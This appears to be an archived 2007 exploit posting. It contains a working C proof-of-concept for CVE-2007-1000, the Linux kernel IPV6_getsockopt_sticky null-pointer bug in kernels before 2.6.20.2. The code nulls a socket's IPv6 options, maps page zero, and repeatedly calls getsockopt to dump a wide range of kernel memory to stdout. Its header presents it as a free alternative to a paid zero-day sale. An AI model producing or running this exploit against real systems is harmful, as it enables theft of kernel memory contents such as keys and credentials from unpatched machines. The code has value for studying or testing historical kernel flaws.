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linux-26202.txt

Posted on 11 July 2007

/*
* Linux Kernel IPV6_Getsockopt_Sticky Memory Leak  Proof Of Concept
* dreyer 07-2007
* Osu, Tatakae, Sexy Pandas!
*
*  Dumps to stdout the memory mapped between INI and END.
*
* CVE: CVE-2007-1000  BID: 22904
*
*  Affected: Linux Kernel < 2.6.20.2
*
* http://bugzilla.kernel.org/show_bug.cgi?id=8134
*
* Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html
*
* For free!!! ( worth 600 EUR in zerobay! )
*
*/


#include <sys/mman.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define HOPOPT_OFFSET 8
#define INIADDR 0xc0100000
#define ENDADDR  0xd0000000
unsigned int i;


int main(int argc, char *argv[]) {
int s;
unsigned int optlen;
void *ptr;
char value[10240];
char text[12];

fprintf(stderr,"Ipv6_getsockopt_sticky vuln POC
"
"dreyer '07 - free feels better
"
"Dumping %p - %p to stdout
",INIADDR,ENDADDR);

s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

/* Make np->opt = NULL = 0x00000000  through IPV6_2292PKTOPTIONS */
setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0);

/* Make 0x00000000 address valid */
ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

if (ptr != NULL) {
perror("mmap");
exit(-1);
}

memset(ptr,0,4096);

/* Make ptr point to np->opt->hopopt =  (0x00000000)->hopopt =
* 0x00000000 + 8 */
ptr=(char *)((char *)ptr+HOPOPT_OFFSET);

i=INIADDR;
while(i<ENDADDR) {
/* Put in hopopt the address we want to read */
*((int *)ptr)=i;
optlen=10240;
/* Get the chunk pointed by hopopt through getsockopt IPV6_DSTOPTS */
getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen);
if(optlen>0) {
sprintf(text,"
%08x:",i);
write(1,text,strlen(text));
write(1,value,optlen);
i=i+optlen;
} else {
/* We could not read this portion because of some error, skip it */
i=i+4;
}
}

return 0;
}

 

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